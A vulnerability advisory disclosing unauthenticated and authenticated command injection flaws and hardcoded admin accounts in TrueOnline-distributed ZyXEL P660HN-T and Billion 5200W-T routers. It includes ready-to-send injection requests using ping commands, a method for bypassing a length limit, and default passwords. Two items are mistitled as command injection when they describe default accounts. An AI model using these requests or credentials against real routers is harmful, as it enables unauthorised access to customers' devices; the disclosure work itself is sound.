=============== >> Multiple vulnerabilities in TrueOnline / ZyXEL / Billion routers >> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security ========================================================================== Disclosure: 26/12/2016 / Last updated: 12/01/2017 >> Summary: TrueOnline is a major Internet Service Provider in Thailand which distributes various rebranded ZyXEL and Billion routers to its customers. Three router models - ZyXEL P660HN-T v1, ZyXEL P660HN-T v2 and Billion 5200W-T - contain a number of default administrative accounts, as well as authenticated and unauthenticated command injection vulnerabilities in their web interfaces, mostly in the syslog remote forwarding function. All the routers are still in widespread use in Thailand, with the Billion 5200W-T router currently being distributed to new customers. These routers are based on the TC3162U SoC (or variants of it), a system-on-a-chip made by TrendChip, which was a manufacturer of SoC that was acquired by Ralink / MediaTek in 2011. TC3162U based routers have two firmware variants. The first variant is "ras", used on hardware versions that have 4mb or less of flash storage, which is based on the real time operating system ZynOS. It is infamous as the includes Allegro RomPager v4.07, which is vulnerable to the "misfortune cookie" attack (see [1]), and its web server is vulnerable to the "rom-0" attack (see [2]). The other variant is "tclinux", which is a full fledged Linux used in hardware versions that have more than 4 MB of flash storage. This advisory refers to this variant, which includes the Goahead web server and several ASP files with the command injection vulnerabilities. Note that tclinux might also be vulnerable to the misfortune cookie and rom-0 attacks - this was not investigated in detail by the author. For more information on tclinux see [3]. It should be noted that tclinux contains files and configuration settings in other languages (for example in Turkish). Therefore it is likely that these firmware versions are not specific to TrueOnline, and other ISP customised routers in other countries might also be vulnerable. It is also possible that other brands and router models that use the tclinux variant are also affected by the command injection vulnerabilities (the default accounts are likely to be TrueOnline specific). Please contact pedrib@gmail.com if you find any other routers or firmware versions that have the same vulnerabilities. These vulnerabilities were discovered in July 2016 and reported through Securiteam's Secure Disclosure program (see https://blogs.securiteam.com/index.php/archives/2910 for their advisory). SSD contacted the vendors involved, but received no reply and posted their advisory on December 26th 2016. There is currently no fix for these issues. It is unknown whether these issues are exploitable over the WAN, although this is a possibility since some of the default accounts appear to have been deployed for ISP use. Three Metasploit modules that abuse these vulnerabilities have been released (see [4], [5] and [6]). >> Technical details: #1 Vulnerability: Unauthenticated command injection (ZyXEL P660HN-T v1) NO-CVE Attack Vector: Remote Constraints: Can be exploited by an unauthenticated attacker in the LAN. See below for other constraints. Affected versions: - ZyXEL P660HN-T, hardware revision v1, TrueOnline firmware version TCLinux Fw $7.3.15.0 v001 / 3.40(ULM.0)b31, other firmware versions might be affected This router has a command injection vulnerability in the Maintenance > Logs > System Log > Remote System Log forwarding function. The vulnerability is in the ViewLog.asp page, which is accessible unauthenticated. The following request will cause the router to issue 3 ping requests to 10.0.99.102: POST /cgi-bin/ViewLog.asp HTTP/1.1 remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bping+-c+3+10.0.99.102%3b%23&remoteSubmit=Save The command in injection is in the remote_host parameter. This vulnerability was found during a black box assessment of the web interface, so a root cause was not determined. #2 Vulnerability: Authenticated command injection (ZyXEL P660HN-T v2) NO-CVE Attack Vector: Remote Constraints: Can be exploited by an authenticated attacker in the LAN. See below for other constraints. Affected versions: - ZyXEL P660HN-T, hardware revision v2, TrueOnline firmware version TCLinux Fw #7.3.37.6, other firmware versions might be affected Unlike in the P660HN-Tv1, the injection is authenticated and in the logSet.asp page. However, this router contains a hardcoded supervisor password (see below) that can be used to exploit this vulnerability. The injection is in the logSet.asp page that sets up remote forwarding of syslog logs, and the parameter vulnerable to injection is the serverIP parameter, which can be abused in the following way: ServerIP=1.1.1.1`<COMMAND>`&# The following request will cause the router to issue 3 ping requests to 1.1.1.1: POST /cgi-bin/pages/maintenance/logSetting/logSet.asp HTTP/1.1 logSetting_H=1&active=1&logMode=LocalAndRemote&serverIP=192.168.1.1`ping -c 3 1.1.1.1`%26%23&serverPort=514 This vulnerability was found during a black box assessment of the web interface, so a root cause was not determined. It is known that this injection ends up in /etc/syslog.conf as The actual injection is limited to 28 characters. This can circunvented by writing a shell script file in the /tmp directory 28 characters at a time, and the executing that file. #3 Vulnerability: Unauthenticated command injection (Billion 5200W-T) NO-CVE Attack Vector: Remote Constraints: Can be exploited by an unauthenticated attacker in the LAN. See below for other constraints. Affected versions: - Billion 5200W-T, TrueOnline firmware version 1.02b.rc5.dt49, other firmware versions might be affected The Billion 5200W-T router contains an unauthenticated command injection in adv_remotelog.asp page, which is used to set up remote syslog forwarding. The following request will cause the router to issue 3 ping requests to 192.168.1.35: POST /cgi-bin/adv_remotelog.asp HTTP/1.1 Host: 192.168.1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 85 RemotelogEnable=1&syslogServerAddr=1.1.1.1%3bping+-c+3+192.168.1.35%3b&serverPort=514 The injection is on the syslogServerAddr parameter and can be exploited by entering a valid IP address, followed by ";<COMMAND>;" This vulnerability was found during a black box assessment of the web interface, so a root cause was not determined. #4 Vulnerability: Authenticated command injection (Billion 5200W-T) NO-CVE Attack Vector: Remote Constraints: Can be exploited by an authenticated attacker in the LAN. See below for other constraints. Affected versions: - Billion 5200W-T, TrueOnline firmware version TCLinux Fw $7.3.8.0 v008 130603, other firmware versions might be affected The Billion 5200W-T router also has several other command injections in its interface, depending on the firmware version, such as an authenticated command injection in tools_time.asp (uiViewSNTPServer parameter). It should be noted that this router contains several hardcoded administrative accounts that can be used to exploit this vulnerability. This injection can be exploited with the following request: POST /cgi-bin/tools_time.asp HTTP/1.1 Host: 192.168.1.1 Authorization: Basic YWRtaW46cGFzc3dvcmQ= Cookie: SESSIONID=7c082c75 SaveTime=1&uiCurrentTime2=&uiCurrentTime1=&ToolsTimeSetFlag=0&uiRadioValue=0&uiClearPCSyncFlag=0&uiwPCdateMonth=0&uiwPCdateDay=&uiwPCdateYear=&uiwPCdateHour=&uiwPCdateMinute=&uiwPCdateSec=&uiCurTime=N%2FA+%28NTP+server+is+connecting%29&uiTimezoneType=0&uiViewSyncWith=0&uiPCdateMonth=1&uiPCdateDay=&uiPCdateYear=&uiPCdateHour=&uiPCdateMinute=&uiPCdateSec=&uiViewdateToolsTZ=GMT%2B07%3A00&uiViewdateDS=Disable&uiViewSNTPServer="%3b+ping+-c+20+192.168.0.1+%26%23&ntp2ServerFlag=N%2FA&ntp3ServerFlag=N%2FA This writes the command to a file /etc/ntp.sh: /userfs/bin/ntpclient -s -c 3 -l -h ""; ping -c 20 192.168.0.1 &#" & which is then executed almost immediately. This vulnerability was found during a black box assessment of the web interface, so a root cause was not determined. #5 Vulnerability: Default administrative credentials (ZyXEL P660HN-T v1) NO-CVE Attack Vector: Remote Constraints: N/A Affected versions: - ZyXEL P660HN-T, hardware revision v1, TrueOnline firmware version TCLinux Fw $7.3.15.0 v001 / 3.40(ULM.0)b31, other firmware versions might be affected This router contains the following default administrative accounts: username: admin; password: password username: true; password: true #6 Vulnerability: Authenticated command injection (ZyXEL P660HN-T v2) NO-CVE Attack Vector: Remote Constraints: N/A Affected versions: - ZyXEL P660HN-T, hardware revision v2, TrueOnline firmware version TCLinux Fw #7.3.37.6, other firmware versions might be affected This router contains the following default administrative accounts: username: admin; password: password username: true; password: true username: supervisor; password: zyad1234 #7 Vulnerability: Authenticated command injection (Billion 5200W-T) NO-CVE Attack Vector: Remote Constraints: N/A Affected versions: - Billion 5200W-T, TrueOnline firmware version TCLinux Fw $7.3.8.0 v008 130603, other firmware versions might be affected This router contains the following default administrative accounts: username: admin; password: password username: true; password: true username: user3; password: 12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678 >> Fix: There is NO FIX for this vulnerability.
